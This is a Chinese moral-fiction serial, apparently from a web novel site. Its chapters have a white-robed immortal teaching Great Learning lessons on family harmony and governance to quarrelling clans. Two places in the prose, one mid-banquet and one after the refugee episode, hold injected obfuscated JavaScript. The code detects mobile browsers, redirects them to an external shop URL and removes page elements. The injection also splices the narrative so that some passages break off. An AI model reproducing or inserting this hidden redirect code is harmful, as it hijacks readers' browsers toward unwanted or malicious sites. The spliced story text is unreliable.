赵员外年五十，独子赵宠，年十八，骄纵成性。昨日纵马踏青，践踏邻田，农人理论，赵宠鞭之。邻告于赵员外，员外笑曰：“少年意气，何足道哉？”反责农人“惊吾儿马”。 来人引赵员外至“亲爱”碑前。碑文渗血，以手抚之，竟温热。赵员外惊退。 “亲爱而辟，人之常情。然过则偏，偏则蔽。”来人问，“员外可知‘人莫知其子之恶’？” 赵员外强笑：“吾儿虽顽劣，心本善…” “心善而纵恶，是爱之，是害之？”来人取铜镜一面，令赵员外自照。镜中赵宠正鞭笞老仆，面目狰狞。赵员外怒：“此镜有妖！” “镜无妖，是父心偏。”来人叹，“亲爱之，则见其美不见其恶。今子行凶，员外不惩反护，是辟也。辟则家不齐，家不齐则祸将至。” 引至田间，被踏农人卧病，妻儿啜泣。来人问：“若有人踏员外祖坟，员外当如何？” 赵员外语塞。来人指赵宠：“子之过，父之惰。今不教，他日必成大祸。”又取赵宠幼时襁褓，“昔者怀抱，望其成龙；今者纵容，任其为虫。员外之爱，是爱是害？” 赵员外泣下，遂缚子谢罪，赔田医伤。是夜，“亲爱”碑血渍渐淡。来人教“矫爱法”：爱子当知子恶，严教方是真慈。赵员外设“家训堂”，赵宠日诵《弟子规》，三月后，骄纵稍敛。 二、 贱恶而辟谳（钱掌柜） 钱掌柜娶妻柳氏，貌丑而贤。钱掌柜厌之，动辄叱骂“丑妇”，甚者鞭笞。柳氏忍泣，操持家务如故。昨日，钱掌柜宴客，柳氏奉茶稍迟，掌柜当众掌掴，客皆掩面。 来人引钱掌柜至“贱恶”碑前。碑苔青黑，触之湿滑，如泪渍。钱掌柜缩手。 “贱恶而辟，人之陋习。然过则偏，偏则暴。”来人问，“掌柜可知‘恶而知其美者，天下鲜矣’？” 钱掌柜嗤道：“丑妇何美？” “面丑而心美，孰美孰丑？”来人取清水一盆，令钱掌柜自照。水中倒影，面目竟渐扭曲，狰狞如鬼。钱掌柜骇然。 “水无妖，是心丑映面。”来人叹，“贱恶之，则见其恶不见其美。今妻虽丑，然勤勉持家，夜纺昼炊，何罪之有？掌柜但见其貌，不见其德，是辟也。辟则家不和，家不和则业不兴。” 引至厨下，柳氏正带伤炊饭，额有血痕。来人问：“掌柜可曾为妻敷药？” 钱掌柜默然。来人取柳氏所纺布：“此布细密匀实，可见其心；所烹羹：‘此羹味厚情浓，可见其勤。’丑在外，美在内。掌柜以外貌贱恶，是目盲也。” 钱掌柜惭，遂揖妻谢罪。是夜，“贱恶”碑苔色渐褪。来人教“去恶法”：见人当观其心，莫以貌取。钱掌柜自此敬妻，家业反旺。人问其故，答：“家和万事兴。” 三、 畏敬而辟谳（孙乡绅） 孙乡绅之父孙太公，年七旬，刚愎自用。去年强令改河道，毁邻田，乡人怨。孙乡绅畏父，不敢谏。昨日，太公欲伐村口古槐建祠堂，乡绅知槐有灵，仍唯唯。 来人引孙乡绅至“畏敬”碑前。碑裂如龟纹，以手触之，簌簌落屑。孙乡绅颤。 “畏敬而辟，人之常礼。然过则偏，偏则愚。”来人问，“乡绅可知‘父有过，子当几谏’？” 孙乡绅嗫嚅：“父命难违…” “违命不孝，顺过亦不孝。”来人取竹尺，折之有声，“尺有度，谏有方。今父有过，子不谏，是陷父于不义，岂是真孝？” 引至村口，古槐参天，数人合抱。太公正督工伐树。来人问太公：“公可知此槐龄几何？” “约二百年。” “二百年来，此槐荫庇多少行人？乡人祭拜多少代？公为一祠，毁百年灵物，忍乎？” 太公语塞。来人又谓孙乡绅：“畏敬非盲从，敬其德，谏其过。今公畏父而不敢言，是辟也。辟则家不直，家不直则德不立。” 孙乡绅跪泣陈谏。太公悟，止伐槐，另择地建祠。是夜，“畏敬”碑裂痕渐合。来人教“善谏法”：谏亲当婉，然不可不谏。孙乡绅自此遇父过必婉言，太公反赞“吾有诤子”。 四、 哀矜而辟谳（李庄主） 李庄主有弟李二，游手好闲，常偷邻鸡。邻告，庄主哀其幼失怙，不忍责，反赔钱了事。李二愈肆，昨日竟盗祠堂祭器，庄主仍隐忍。 来人引李庄主至“哀矜”碑前。碑色惨白，如丧布。李庄主抚之，手觉阴寒。 “哀矜而辟，人之仁心。然过则偏，偏则纵。”来人问，“庄主可知‘慈悲生祸害’？” 李庄主叹：“吾弟失教，吾之过也…” “知过而纵过，是过上加过。”来人取祭器被盗之箱，箱中空，唯余一纸，上书“兄纵我盗”。李庄主色变。 “哀矜之，则怜其不幸，忘其可恶。今弟为盗，兄不惩，是爱之，是害之？他日若犯大罪，兄可能代刑？” 引至祠堂，列祖牌位森然。来人问：“祖宗在上，见子弟为盗，当喜当怒？” 李庄主伏地涕泣。来人曰：“哀矜当有度，惩恶亦是扬善。今不惩弟，是毁弟一生。”又取家法竹板，“小惩大诫，方是真仁。” 李庄主遂缚弟于祠堂，自执家法，杖二十，令其对祖悔过。是夜，“哀矜”碑色转温。来人教“中惩法”：惩恶为爱，纵恶为害。李二自此改过，后成家立业，每言“非兄当年严惩，吾已陷囹圄”。 五、 敖惰而辟谳（周院君） 周院君有仆阿勤，勤勉忠厚。院君视若草芥，动辄叱骂，月钱常扣。阿勤母病，求预支工钱，院君斥“贱奴刁诈”。昨日，阿勤扫地拾金镯，呈上，院君反疑其偷藏一只。 来人引周院君至“敖惰”碑前。碑体倾斜，以手扶之，摇摇欲坠。周院君退。 “敖惰而辟，人之傲慢。然过则偏，偏则昏。”来人问，“院君可知‘仆虽贱，亦有心’？” 周院君冷笑：“奴仆如犬马，何须以心待？” “犬马劳苦，尚需草料；仆役勤勉，岂可寒心？”来人取金镯一对，置日光下，“此镯本一对，院君何以疑仆藏一？” “贱奴见财，岂不贪？” “贪者不还，还者不贪。”来人唤阿勤，阿勤跪呈账册，上记“某年某月，拾钱一贯奉还；某年某月，拾衣归主…”竟有十余条。周院君赧然。 “敖惰之，则轻其劳，疑其诚。今仆勤勉，主不赏；仆拾金，主反疑。是辟也。辟则家不聚，家不聚则人尽散。” 引至仆舍，阿勤母卧病草铺，药炉冷寂。来人问：“院君可曾探视？” 周院君默然。来人叹：“主仆虽有分，人心皆是肉。今日寒仆心，他日谁效力？”又取院君所弃残羹，“此羹尚温，可暖仆心；此言如冰，可寒仆志。院君择焉。” 周院君惭，遂延医治仆母，加阿勤月钱，更以金镯赐之。是夜，“敖惰”碑渐正。来人教“待下法”：待下以宽，宽则得众。周家自此仆役尽心，家业更盛。 六、 齐家会 五户悔改，聚于五辟碑前。来人指碑上“五辟”： “亲爱、贱恶、畏敬、哀矜、敖惰，五者皆心之偏。心偏则身不修，身不修则家不齐。故好而知其恶，恶而知其美者，天下鲜矣！今五子各执一偏，故家宅不宁。” 赵员外问：“何以去偏？” “去偏在明心。”来人取五面铜镜，分予五人，“对镜自照，可见己偏：赵员外镜中溺子，钱掌柜镜中叱妻，孙乡绅镜中畏父，李庄主镜中纵弟，周院君镜中傲仆。知偏方能纠偏。” 又引至村中“齐家堂”，堂悬古联：“修身正心，齐家治国”。来人曰：“身不修，不可以齐其家。五子之病，皆在身不修：心偏则行偏，行偏则家乱。今当修身以正心，正心以齐家。” 遂教“齐家法”：每日晨昏，对镜自省“我今日可有五辟”？有则记之，明日改之。又立“家会”，五家每月一会，互指偏失，共勉共进。 三月后，五辟碑异象全消：血渍苔痕尽褪，裂痕白迹皆平，倾斜之碑自立。村人奇之，来人曰：“非碑变，是人心正，映碑亦正。” 七、 苗硕谳 端阳日，齐家庄办“齐家宴”，五户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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童诵《齐家谣》： “齐家先要修自身， 五辟除去家自宁。 一辟亲爱子成恶， 二辟贱恶妻寒心。 三辟畏敬父有过， 四辟哀矜弟纵淫。 五辟敖惰仆离散， 去偏守中家道兴。 好而知恶恶知美， 人莫知其子之愆。 莫不知其苗之硕， 修身齐家要分明。” 书生恍然。是夜，宿村中，梦来人踏月而至，以木剑点其额：“子有亲爱，偏宠幼妹；有贱恶，厌弃丑仆；有畏敬，盲从师长；有哀矜，姑息同窗；有敖惰，轻视农夫。五辟俱全，何以齐家？” 书生惊寤，汗透重衣。翌日，修书归家，善待仆婢，劝谏师长，规诫同窗，敬重农人。后中进士，治家有方。 村口五辟碑，后人以琉璃罩护，碑文常新。有家主不修者临碑，碑面自现“亲爱”“贱恶”等字警示。人传：“此乃白衣仙人所留齐家鉴也。” 本章诫世 一、 五辟之偏 - 人之其所亲爱而辟焉，之其所贱恶而辟焉，之其所畏敬而辟焉，之其所哀矜而辟焉，之其所敖惰而辟焉 - 破解法：待人接物，自问是否“偏”——亲爱是否失察？贱恶是否失公？畏敬是否失谏？哀矜是否失度？敖惰是否失礼？ 二、 好恶之明 - 好而知其恶，恶而知其美者，天下鲜矣 - 惕世：多少人“爱之欲其生，恶之欲其死”？多少不公源于好恶之偏？ - 反思：我对所爱，可知其恶？对所恶，可知其美？ 三、 齐家之本 - 身不修不可以齐其家 - 深层隐喻：五辟是心偏，心偏则身不修，身不修则家不齐 - 终极指向：齐家在修身，修身在正心。去五辟，存中正，家自齐 齐家偈： 齐家庄里五户偏，亲爱贱恶各蔽天。 赵氏溺子不知恶，钱氏贱妻不见贤。 孙氏畏敬父有过，李氏哀矜弟纵愆。 周氏敖惰仆心寒，五辟不除家难圆。 白衣点破齐家道，去偏守中镜高悬。 至今五辟碑犹在，照见人心正与偏。 后世叹： 齐家先要修自身，五辟缠心家不宁。 亲爱贱恶畏敬偏，哀矜敖惰亦是病。 好而知恶恶知美，人鲜能此行难能。 人莫知其子之恶，苗硕不知贪心萦。 五户当初迷五辟，白衣指点家道兴。 正是： 齐家在修身在心，五辟除去家自宁。 亲爱贱恶畏敬偏，哀矜敖惰亦是病。 好而知恶恶知美，人鲜能此行难能。 人莫知其子之恶，苗硕不知贪心萦。 五辟碑前五户讼，白衣指点齐家经。 73.治国谳 楔子·三家城 潞水之北有山城名“三家城”，因城中三族鼎立得名：东城郑氏，诗礼传家，然家规苛酷，父子相疑；西城卫氏，武功起家，然兄弟阋墙，刀兵相向；北城沈氏，商贾世家，然主仆离心，欺诈成风。三族内不修，外施仁义，皆以“礼义之家”自诩，然城内民风日下，盗贼蜂起。 城中有“齐家台”，台立古碑，刻《大学》章句：“一家仁，一国兴仁；一家让，一国兴让；一人贪戾，一国作乱。其机如此…”年久碑残，字迹漫灭。三族长老尝会盟于此，然各怀私心，盟约虚设。 是岁仲秋，齐家台忽现异象：碑上“仁”字渗血，“让”字生霉，“贪戾”二字竟如炭书，灼灼欲燃。三族家主登台观碑，皆心惊肉跳。 八月十五，城中秋会，演古戏《尧舜桀纣》。正演至“桀纣帅暴”一节，忽闻戏台顶棚“哗啦”裂响——那悬吊“日月星辰”的机关索架忽散，数十木偶如雨坠落，却有一人自那“日轮”道具中飘然降下，足踏坠偶，如踏浮萍，旋身落于台心。 来人头戴素纱帷笠，笠檐垂及肩的月白轻纱，面覆同色鲛绡，只透出两点寒星般的眸光；着一身云纹素罗深衣，衣摆以银丝绣着疏疏的松针纹，行动时松针仿佛临风微动。外罩一件无袖素纱氅衣，氅角缀七枚玉珏，珏珏相叩却寂然无声。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如老松年轮，似蕴沧桑。足踏素锦登云履，履尖微翘，不染尘泥。 身形清挺，立于坠落的木偶之间，帷笠轻纱与戏台幔帐同飘，竟似从日月轮中化出的神人。台下观者骇然，分不清是戏是真。 来人木剑轻点台板，声如古磬： “一家仁，一国兴仁！” 又点： “一家让，一国兴让！” 再点： “一人贪戾，一国作乱！” 诵罢，木剑遥指齐家台：“三家族长，可愿登台观碑？” 郑、卫、沈三公面面相觑。来人飘然下台，衣袂如流云舒卷：“某有三桩‘治国’公案，可请三公分观。观毕，再论齐家。” 一、 不教而教谳（郑氏） 郑氏七世诗礼，家规三百条。然父苛子，子疑父。家主郑公训子，动辄家法，长子郑谦年三十，见父如鼠见猫。昨日，郑谦私售祖田济友，郑公知之，鞭笞三十，囚于祠堂。然郑公自身，却暗纳贿赂，干预讼事。 来人引郑公至齐家台“仁”字碑前。碑文渗血，以指拭之，黏腻如涕。郑公蹙眉。 “其家不可教而能教人者，无之。”来人问，“郑公教子以严，可曾教己以仁？” 郑公赧然：“治家当严…” “严以待子，宽以待己，是教乎？是伪乎？”来人取郑氏家规册，翻至“孝悌”篇，“家规三百，子犯一条，鞭三十；公犯几何？” 郑公汗出。来人又取诉状一卷：“公纳贿枉法，可合家规？” “此…此乃外事。” “内不修，外岂能正？”来人叹，“孝者，所以事君也。今子畏父如虎，他日事君，必谄或叛。悌者，所以事长也。今兄弟相疑，他日事长，必嫉或欺。慈者，所以使众也。今父不慈，他日使众，必苛或贪。家不可教，何以教人？” 引至祠堂，郑谦囚于祖牌前，背脊血痕斑斑。来人问：“子售田济友，可是仁心？” 郑公默然。来人曰：“父苛子，子行善。是子合仁，父悖仁。一家不仁，一国岂兴仁？” 郑公惭，释子谢过，自陈其罪于祠堂。是夜，“仁”字碑血渍渐淡。来人教“身教法”：有诸己而后求诸人。郑公自此修身，家规自守，郑谦亦诚服。半年后，郑氏父子共设义塾，教化乡里。 二、 贪戾作乱谳（卫氏） 卫氏以武传家，兄弟五人，分掌五房。然长房夺产，二房霸市，三房欺邻，四房虐仆，五房游荡。昨日，为争祖传宝刀，兄弟械斗，伤者七八。家主卫公年迈，不能制，唯顿杖哀叹。 来人引卫公至“贪戾”碑前。二字如炭火，触之灼手。卫公缩臂。 “一人贪戾，一国作乱。”来人问，“卫公可知‘其机如此’？” 卫公叹：“孽子不肖…” “子不肖，父之过。”来人取宝刀，拔之，寒光凛冽，“刀本御外，今戕兄弟。是刀之过，是人之过？” “人之过。” “人何以过？” 卫公语塞。来人曰：“贪戾之机，始于一家。兄贪弟产，弟戾兄财，贪戾相生，乱由此起。今兄弟阋墙，他日若掌兵，必致国乱。一家不让，一国岂兴让？” 引至演武场，五房子弟犹持械对峙。来人取木剑，点地画圈，径三丈：“入此圈者，可诉其冤。” 长房入：“吾为长子，当得宝刀！” 二房入：“吾掌家业，刀当属我！” 三房、四房、五房各执一词。来人笑：“刀只一柄，人有五房。分之，不足；夺之，相残。何如？” 五人默然。来人曰：“尧舜帅天下以仁，而民从之；桀纣帅天下以暴，而民从之。今卫公治家以暴，子弟岂不从暴？其所令反其所好，而民不从。公好宝刀，子弟岂不好？” 遂教“让法”：兄弟抓阄轮掌宝刀，一年一易。又立“家会”，每月一聚，有争则让。卫公老泪纵横：“吾不肖，致家如此。”自此修身，兄弟渐和。是夜，“贪戾”二字火色渐熄。后人见卫氏子弟，皆谦让有礼。 三、 不恕喻人谳（沈氏） 沈氏为商，仆佣百余。然主苛仆，仆欺主。家主沈公，外施粥药，内扣工钱；管家沈富，明做假账，暗吞货银；仆役阿忠，面恭背谩，偷卖货物。昨日，沈公查账见亏空，鞭挞众仆，然自身挪用巨资购玉玩，人皆敢怒不敢言。 来人引沈公至“让”字碑前。碑生青霉，触之滑腻。沈公拭手。 “所藏乎身不恕，而能喻诸人者，未之有也。”来人问，“沈公苛仆，可曾恕己？” 沈公强辩：“仆役奸猾…” “仆奸，主之镜也。”来人取沈公所购玉玩，“此玉值千金，可抵仆役十年工。公玩玉而仆啖糠，公心安否？” 又取假账册：“管家做假，是欺主；主扣工钱，是欺仆。欺欺相生，何日可止？一家离心，一国岂同心？” 引至货仓，阿忠正偷米，被执。沈公怒欲鞭，来人止之，问阿忠：“何以偷米？” “老母病，工钱被扣…” 沈公赧然。来人叹：“如保赤子。心诚求之，虽不中不远矣。未有学养子而后嫁者也！今公待仆，可如保赤子？心不诚，求亦枉然。” 又谓众仆：“主不恕，仆岂忠？然仆欺主，亦是不义。上下相欺，家业必颓。” 沈公泣，悉补工钱，赦仆罪，自毁玉玩以充公。管家阿富亦悔，吐赃谢罪。来人教“恕道”：己所不欲，勿施于人。沈氏自此主仆同心，生意兴隆。是夜，“让”字碑霉迹渐褪。沈公设“恕堂”，每月主仆同席，有困共济。 四、 成教于国谳 三族悔改，聚于齐家台。来人指碑上残文： “君子不出家而成教于国。今三族内不修，而欲教化乡里，是缘木求鱼。故治国在齐其家，齐家在修其身。” 郑公问：“吾等皆治家，何以城乱如故？” “家未齐也。”来人取铜镜三面，分照三族：郑氏镜中，父执鞭，子瑟缩；卫氏镜中，兄持刀，弟染血；沈氏镜中，主捧玉，仆啖糠。“内不修，外饰仁义，是伪也。伪能久乎？” 又引三公登台望城：街有乞丐，巷有盗贼，市有欺诈。来人叹：“一家不仁，一城不仁；一家不让，一城不让；一家贪戾，一城贪戾。其机如此。今三族为城中望，族风即城风。族内不和，城岂能治？” 遂教“齐家治国法”：三族盟誓，各修其家，并以家法化民。郑氏开义塾，教孝悌；卫氏设巡防，止械斗；沈氏平物价，济贫弱。三月后，城风渐淳。 五、 帅民以仁谳 腊月祭灶，三家城办“仁让会”，三族共祭。忽有流民涌城，饥寒交迫。守城兵欲驱之，三公议于齐家台。 郑公曰：“《康诰》云‘如保赤子’，当纳之。” 卫公曰：“然粮少民多，奈何？” 沈公曰：“吾出储粮，共济。” 正议间，忽闻祭坛方向传来清越钟鸣——那口重达千斤的古钟无人自响，声震全城。钟声余韵中，一道白影自古钟顶端的蒲牢钮中飘然而出，如烟如雾，凝实为人。 来人帷笠素纱，白衣胜雪，木剑悬腰，立在钟楼飞檐之上，衣袂与钟声共振。 “善哉！三公已悟齐家治国之道。”来人朗声道，“尧舜帅天下以仁，而民从之。今三公能以仁待流民，是身修家齐之效也。” 飞身而下，如白鹤掠地，点尘不惊。取木剑划地为图：“流民三百，可分置三族厢房；郑氏出塾师，教童子；卫氏出丁壮，维秩序；沈氏出货殖，供衣食。一家仁，一国兴仁；一家让，一国兴让。今三族仁让，全城岂不仁让？” 三公从之。流民得安，城中富户感召，亦开仓施粥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091288|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一月后，流民归乡，临行拜城：“三家城仁让之风，吾等永铭。” 是夜，齐家台碑文复明：“仁”“让”二字光华流转，“贪戾”二字化为“恕”字。全城欢庆，来人却悄然登台，取木剑刻碑阴： “治国必先齐其家， 其家不教人何嗟？ 孝悌慈恕身内修， 不出家门教化遐。 一家仁让国兴仁， 一人贪戾乱如麻。 尧舜帅仁民从仁， 桀纣帅暴民从邪。 有诸己后求诸人， 所藏不恕焉能化？ 三族当初迷此理， 碑前点破治国芽。” 刻毕，木剑归鞘。三公拜问：“先生将去，何以长治？” 来人指心：“治国在齐家，齐家在修身，修身在正心。心正，则身修；身修，则家齐；家齐，则国治。机在此处，何需外求？” 言罢，纵身跃上钟楼，足尖一点蒲牢钮，身形如白虹贯月，消失在夜空中。众人仰观，唯见星河耿耿，钟声悠悠。 尾声治国谣 十年后，三家城改名“仁让城”。三族并为一宗，共推贤主。城设“齐家堂”，堂悬古训：“君子不出家而成教于国”。童蒙入学，先诵此章。 有使臣过境，见路不拾遗，问：“此城何以治？” 老者答：“家齐国自治。” “何以齐家？” 童子诵《治国谣》： “治国先要齐其家， 家不教人焉教化？ 孝可事君悌事长， 慈能使众如保娃。 一家仁让国兴仁， 一人贪戾乱如麻。 尧舜帅仁民从仁， 桀纣帅暴民从邪。 有诸己后求诸人， 不恕焉能喻人呀？ 三族当初迷此理， 白衣指点治国芽。” 使臣叹服。是夜，宿城中，梦来人踏月而至，以木剑点其额：“子治一县，可曾齐家？可孝父母？可悌兄弟？可慈仆役？有诸己而后求诸人，无诸己而后非诸人。子可做到？” 使臣惊寤，汗透重衣。翌日，辞官归乡，先治其家。三年后，复出为官，治县有方，民颂“齐家县令”。 城中齐家台，后人建亭护碑，亭名“成教亭”。有家主不齐者登台，碑面自现家事警句。人传：“此乃白衣仙人所留治国鉴也。” 本章诫世 一、 家教国治 - 其家不可教而能教人者，无之。故君子不出家而成教于国 - 破解法：欲治外，先治内；欲教人，先教家。自问：我之家可教否？我可为家人典范否？ 二、 仁让贪戾 - 一家仁，一国兴仁；一家让，一国兴让；一人贪戾，一国作乱。其机如此 - 惕世：多少人口言仁义，家宅不宁？多少人苛责外人，纵容至亲？一家不治，何以治国？ - 反思：我家是仁是戾？我身是贪是让？ 三、 帅民以仁 - 尧、舜帅天下以仁，而民从之；桀、纣帅天下以暴，而民从之。其所令反其所好，而民不从 - 深层隐喻：上行下效，如风偃草。家主教仁，子弟从仁；家主行暴，子弟从暴 - 终极指向：君子有诸己而后求诸人，无诸己而后非诸人。所藏乎身不恕，而能喻诸人者，未之有也 治国偈： 三家城里三族争，内不修兮外饰文。 郑氏苛亲子相疑，卫氏贪戾兄弟阋。 沈氏不恕主仆离，三家不齐国不宁。 白衣点破齐家道，治国先从家门兴。 一家仁让国兴仁，一人贪戾乱机生。 有诸己后求诸人，不恕焉能化万民？ 后世叹： 治国必先齐其家，其家不教人何嗟？ 孝悌慈恕身内修，不出家门教化遐。 一家仁让国兴仁，一人贪戾乱如麻。 尧舜帅仁民从仁，有诸己后求诸他。 三族当初迷此理，白衣碑前指正路。 正是： 治国必先齐其家，家不教人焉教化？ 孝可事君悌事长，慈能使众如保娃。 一家仁让国兴仁，一人贪戾乱如麻。 尧舜帅仁民从仁，桀纣帅暴民从邪。 有诸己后求诸人，不恕焉能喻人呀？ 三家城前三族讼，白衣指点治国法。 74.宜家谳 楔子·三诗壁 沅水之阴有古城名“宜家堡”，堡中“三诗壁”名闻遐迩。壁上刻《诗经》三章：左刻“桃之夭夭，其叶蓁蓁。之子于归，宜其家人”；中刻“宜兄宜弟”；右刻“其仪不忒，正是四国”。笔力遒劲，相传乃前代大儒以剑锋镌刻，喻“宜家、宜兄弟、仪正”三义。 然百年风雨，壁石剥蚀。堡中三大家族：秦氏女眷不谐，婆媳相嫉；楚氏兄弟阋墙，嫡庶相争；齐氏父子乖舛，教令相悖。三家皆“家不宜而欲教人”，然各以诗礼之家自居，堡中风气日漓。 是年惊蛰，三诗壁忽现异象：“宜其家人”四字桃花绽放，花瓣却无风自落；“宜兄宜弟”四字松枝虬结，松针却焦黄萎地；“其仪不忒”四字龟甲纹理，纹路却错乱纵横。三姓家主观壁，各自心惊。 三月三，上巳节，堡中演古乐《桃夭》。正奏至“宜其家人”乐章，忽闻主琴“琤”一声裂帛之音——那架百年桐木古琴，第七弦应声而断，断弦未落，却自琴腹中飘出一缕白烟，烟散处，一人按弦而立。 来人头戴素纱帷笠，笠檐垂及肩的月白轻纱，面覆同色鲛绡，只透出两点寒潭般的眸光；着一身云纹素罗深衣，衣摆以银丝绣着疏疏的竹节纹，行动时节节分明，似有清风拂过。外罩一件无袖素纱氅衣，氅角缀七枚玉环，环环相扣却寂然无声。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如老竹新篁，蕴藏生机。足踏素锦步云履，履尖微翘，不染尘埃。 身形清癯，立于断弦古琴之侧，帷笠轻纱与乐工衣袂同飘，竟似从琴韵中化出的仙客。台下观者愕然，分不清是乐是幻。 来人以木剑轻拨断弦，声如裂玉： “宜其家人，而后可以教国人！” 又拨： “宜兄宜弟，而后可以教国人！” 再拨： “其仪不忒，正是四国！” 诵罢，木剑遥指三诗壁：“三姓家主，可愿对壁自观？” 秦、楚、齐三公相顾愕然。来人飘然下台，衣袂如流云舒卷：“某有三桩‘宜家’公案，可请三公分观。观毕，再论齐家治国。” 一、 宜其家人谳（秦氏） 秦氏三世同堂，然家宅不宁。婆周氏，性苛严，媳赵氏，性倔强，十年龃龉。昨日，赵氏奉羹稍烫，周氏掷碗叱骂“毒妇”，赵氏顶撞“老悖”，周氏气厥。家主秦公（周氏子）责妻不孝，赵氏泣归娘家。堡中传为笑谈。 来人引秦公至“宜其家人”壁前。壁桃灼灼，花瓣纷落，触手冰凉。秦公蹙眉。 “桃之夭夭，其叶蓁蓁。之子于归，宜其家人。”来人问，“秦家桃花可夭？枝叶可蓁？家人可宜？” 秦公赧然：“家门不幸…” “家不宜，岂能教人？”来人取秦氏家谱，翻至“妇德”篇，“谱载‘孝悌传家’，今母不慈，媳不孝，是传家，是败家？” 秦公汗出。来人又引至秦宅，但见庭树枯半，井台生苔。指枯树问：“此树何以半荣半枯？” “此…不知。” “根同枝异，是水土不均；家同人异，是恩义不周。”来人叹，“婆媳如水火，子是薪。薪添火，则水沸；薪添水，则火灭。今公责妻不责母，是添薪于火，岂能息争？” 又取壁上桃花一朵，置秦公掌心：“花落，因根伤。家不和，因情薄。婆苛媳，是母不慈；媳逆婆，是妇不孝。然公为子为夫，可曾调和？” 秦公默然。来人曰：“宜其家人，而后可以教国人。今家人不宜，而欲教化堡中，是桃无叶而求实，可得乎？” 遂引秦公至岳家，亲迎赵氏归。又劝周氏：“《诗》云‘宜其家人’，非独媳宜婆，亦婆宜媳。母慈媳孝，家乃宜。”周氏惭，赵氏亦悔。三月后，秦宅桃树复荣，庭井水甘。堡中传颂“秦家婆媳和”，竟有邻家效法。 二、 宜兄宜弟谳（楚氏） 楚氏兄弟三人，嫡长子楚伯掌家，次子楚仲掌田，庶出三子楚叔掌商。然伯疑仲贪田租，仲疑叔匿商利，叔怨伯苛嫡庶。昨日，为分祖传玉璧，兄弟于祠堂争执，玉璧坠地，裂为三块。老父楚公卧床，闻之呕血。 来人引楚伯至“宜兄宜弟”壁前。壁松虬结，松针焦黄，触之即碎。楚伯色变。 “宜兄宜弟，而后可以教国人。”来人问，“楚家兄弟可宜？” 楚伯强道：“庶弟不逊…” “兄不友，弟岂恭？”来人拾碎璧，拼之不全，“璧本完璧，分则碎。家本同根，争则裂。今兄弟阋墙，老父呕血，是宜家，是毁家？” 又引至楚宅祠堂，见祖宗牌位蒙尘，香火冷寂。来人问：“列祖在上，见子孙争产，当喜当悲？” 楚伯垂首。来人曰：“《诗》云‘宜兄宜弟’，非独弟宜兄，亦兄宜弟。兄友弟恭，家乃宜。今伯疑仲，仲防叔，叔怨伯，是兄弟相戕，何宜之有？” 取壁上松针，折之脆响：“松本长青，针焦则枯。家本兴旺，争则衰。公为嫡长，可曾让弟？” 楚伯赧然。来人召楚仲、楚叔至，问：“三兄弟，孰为手足？” 三人皆默。来人取三杯，注水，分递三人：“此水同源，如尔等同父。今分饮之，可觉味异？” 三人饮，皆摇头。来人曰：“水同源则同味，人同根则同心。今为一璧，裂手足情，愚乎？璧可再得，情裂难续。” 三兄弟泣，遂合碎璧，重铸香炉，誓不再争。老父楚公闻之，病愈大半。来人教“宜兄弟法”：每月朔望，兄弟共餐，有福同享，有难同当。半年后，楚氏兄弟合营，家业倍增。堡中传为美谈。 三、 其仪不忒谳（齐氏） 齐氏父子，父严子逆。父齐公，苛礼法，行止必循古制；子齐郎，慕新学，举止常逾规矩。昨日祭祖，齐郎未着礼服，齐公杖之三十。齐郎怒曰：“腐儒！”离家出走。齐公气病，犹叱“逆子”。 来人引齐公至“其仪不忒”壁前。壁纹错乱，以手抚之，凹凸如怒涛。齐公缩手。 “其仪不忒，正是四国。”来人问，“齐家仪容可忒？” 齐公咳道：“逆子坏礼…” “礼为情设，情失礼何存？”来人取齐氏家礼册，厚三寸，“礼三百，可有一条言‘父慈子孝’之本？” 齐公语塞。来人叹：“仪不忒，在心意诚，非在形迹苛。今公苛礼服而失子心，是重形轻质，何仪之有？” 引至齐宅书房，见齐郎留下书札：“父以礼缚我，如囚困笼。礼岂杀人乎？”齐公睹之，手颤。 来人曰：“其为父子兄弟足法，而后民法之也。今父子相悖，何以法堡中？公欲子循礼，当先以慈感；子欲父开明，当先以孝动。两不相让，则家崩。” 又取壁上龟甲纹，示齐公：“纹本有序，乱则凶。家本有伦，悖则危。公守古礼，是善；然不达权变，是迂。子慕新学，是进；然不敬父命，是傲。各执一偏，家何以宜？” 齐公老泪纵横，遣仆寻子。三日后，齐郎归，跪泣认错。来人教“仪变法”：礼以时为大。齐公删家礼之苛，齐郎遵人子之孝。父子共撰《新礼》一卷，堡中争抄。后人赞“齐氏父子，礼法维新”。 四、 民法之谳 三姓和洽，聚于三诗壁前。壁花重绽，松针转翠，龟甲复正。堡民奇之，来人曰：“非壁变，是人心和，映壁亦和。” 秦公问：“吾三家已和，然堡中犹有斗讼，何以教化？” 来人指壁诗：“宜其家人，而后可以教国人。今三家宜，可作表率。”遂召堡民聚壁下，令三公自述家事。 秦公述婆媳和：“昔者母苛媳犟，家如冰窖；今者母慈媳孝，室如春台。桃之夭夭，其叶蓁蓁，家宜则人和。” 楚伯述兄弟宜：“昔者兄弟争璧，璧裂父病；今者兄弟同心，业兴父康。宜兄宜弟，而后可以教国人。” 齐公述父子正：“昔者父子相悖，离家散情；今者父子相谅，礼法维新。其仪不忒，正是四国。” 堡民闻之，有感泣者。有邻家婆媳不睦者，羞赧而退；有兄弟争产者，携手而归；有父子相悖者，揖让而返。三月间，堡中讼事减半。 来人教“宜家化民法”：择堡中贤者，立“宜家会”，每月望日，聚于三诗壁下，述家事，劝和睦。又立“宜家榜”，张榜彰善。堡风渐淳。 五、 正是四国谳 